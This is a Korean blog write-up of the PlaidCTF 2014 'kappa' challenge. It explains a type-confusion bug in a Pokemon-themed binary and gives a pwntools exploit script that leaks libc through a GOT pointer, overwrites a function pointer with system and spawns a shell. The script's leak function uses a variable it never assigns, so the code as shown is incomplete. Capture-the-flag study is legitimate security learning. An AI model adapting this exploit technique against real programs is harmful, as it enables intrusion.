0. 기타
이 문제와 더불어서 최근 3문제를 Write Up을 보고 풀었다.. 자괴감이 너무 많이 든다... 얼른 정진하자!
1. Reversing
군대라는 특성상 ida가 없어서 gdb-peda로 kappa를 리버싱을 진행했다.
리버싱을 하는 건지 코드를 새로 짜는 건지.... 373줄 미쳤냐?
해당 바이너리는 총 5가지 기능을 제공하는데
1. 풀숲으로 가기 (포켓몬 찾으러)
2. 포켓몬 체력회복
3. 포켓몬 점검
4. 포켓몬 풀어주기
5. 포켓몬 삽화 바꾸기
이렇게 제공을 한다.
이 바이너리에서는 배열에서 포켓몬의 종류를 구별하기 위해서 int형 index를 사용한다.
3개의 포켓몬만 나오기 때문에 index가 0, 1, 2밖에 없는데 취약점은 이와 관련된 곳에서 발생한다.
취약점은 결론적으로 1번 포켓몬과 마주쳤을 때 발생하는데, 정확하게는 포켓몬을 포켓볼로 잡고 난 후에 가지고 있는 포켓몬이 5마리인 경우에 교체할 포켓몬을 골라서 교체하는 상황에서 발생한다.
다른 상황에서는 포켓몬에 대한 index를 해당 포켓몬에 맞게 바꿔주는데 이 상황에서는 배열에서 집어넣기만 하고 index를 바꾸지 않는다.
따라서 포켓몬이 5마리인 상황에서 리자몽을 잡으면 기존의 포켓몬과 교체를 할것이냐고 묻는데 kakuna와 교체를 해버리면 다른 기능들에서 리자몽의 구조체를 kakuna 구조체로 판단해버린다는 것이다.
리자몽과 Bird Jesus와 Kakuna의 구조체는 제 각각 함수의 위치, HP위치 등이 다 다르기 때문에 여기서 취약점이 발생한다.
2. Exploit
사실 취약점만 찾으면 별게 없다. 5번의 기능을 이용해서 리자몽의 artwork부분중에서 kakuna의 이중포인터부분, 함수값이 저장되어 있는 부분을 알맞게 지정하여 Leak과 exploit을 진행하면 된다.
3. slv.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
|
from pwn import *
p = process('./kappa')
e = ELF('./kappa')
# puts_got duble pointer in Plt
puts_got_pointer = 0x8048592
Kakuna_Inspect = 0x8048766
def catch_charizard():
p.recvuntil('5. Change Pokemon artwork\n')
while True:
log.info('Find charizard...\n')
sleep(0.1)
p.sendline('1')
_recv = p.recvuntil('Choose an Option:\n')
if 'You failed to find any Pokemon!' in _recv:
log.info('failed to find any Pokemon...\n')
p.recv()
continue
elif 'Kakuna appears!' in _recv:
log.info('Kakuna appears!\n')
p.recv()
p.sendline('3')
p.recvuntil('5. Change Pokemon artwork\n')
continue
else:
log.info('FIND CHARIZARD !!!!\n')
while True:
p.recv()
p.sendline('2')
__recv = p.recv()
if 'You couldn\'t catch' in __recv:
log.info('I can\'t catch...')
p.sendline('1')
log.info('Attack...!\n')
continue
else:
log.info('Yes! I catched Charizard!\n')
p.sendline('/bin/sh')
p.recv()
p.sendline('5')
break
break
return
def catch_Kakuna(name):
log.info('Find Kakuna...')
while True:
p.recvuntil('5. Change Pokemon artwork\n')
p.sendline('1')
sleep(0.1)
_recv = p.recvuntil('Choose an Option:\n')
if 'Kakuna appears!' in _recv:
p.recv()
p.sendline('2')
p.recv()
p.sendline(name)
break
else:
log.info('Failed to Catch Kakuna...\n')
continue
log.info('Finish to catch Kakuna...')
return
def Change_artwork(Select, artwork):
p.recv()
p.sendline('5')
p.recv()
p.sendline(Select)
sleep(0.1)
p.sendline(artwork)
return
def libc_leak():
log.info('========libc_leak Start========')
sleep(0.1)
p.recvuntil('5. Change Pokemon artwork\n')
# buffer Problem??
p.sendline('33')
sleep(0.1)
_recv = p.recvuntil('Choose an Option:\n')
# puts_Addr - system_Addr = 0x24f30
leak -= 0x24f30
return leak
def main():
catch_Kakuna('first')
catch_Kakuna('second')
catch_Kakuna('third')
catch_Kakuna('fourth')
catch_charizard()
payload = ''
payload += 'a' * 501
payload += p32(0xdeadbeef)
payload += p32(0xdeadbeef)
payload += p32(puts_got_pointer)
payload += p32(Kakuna_Inspect)
payload += 'a'* (0x886-len(payload))
Change_artwork('5', payload)
system_Addr = libc_leak()
payload = ''
payload += 'a'* 501
payload += p32(0xdeadbeef)
payload += p32(0xdeadbeef)
payload += p32(puts_got_pointer)
payload += p32(system_Addr)
payload += 'a' * (0x888-len(payload))
Change_artwork('5', payload)
p.recv()
p.sendline('33')
sleep(0.1)
p.interactive()
if __name__=='__main__':
main()
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter
|
[깨달은 점]
1. GOT에 대한 이중 포인터가 필요하면 PLT에서 찾아서 사용하면 된다.
2. 리버싱을 좀 더 자세하게 해서 취약한 부분을 찾아내야된다. 감을 믿어보자.
'System > Plaidctf 2014' 카테고리의 다른 글
[PlaidCTF 2014] - ezhp - 190603 (0) | 2019.06.03 |
---|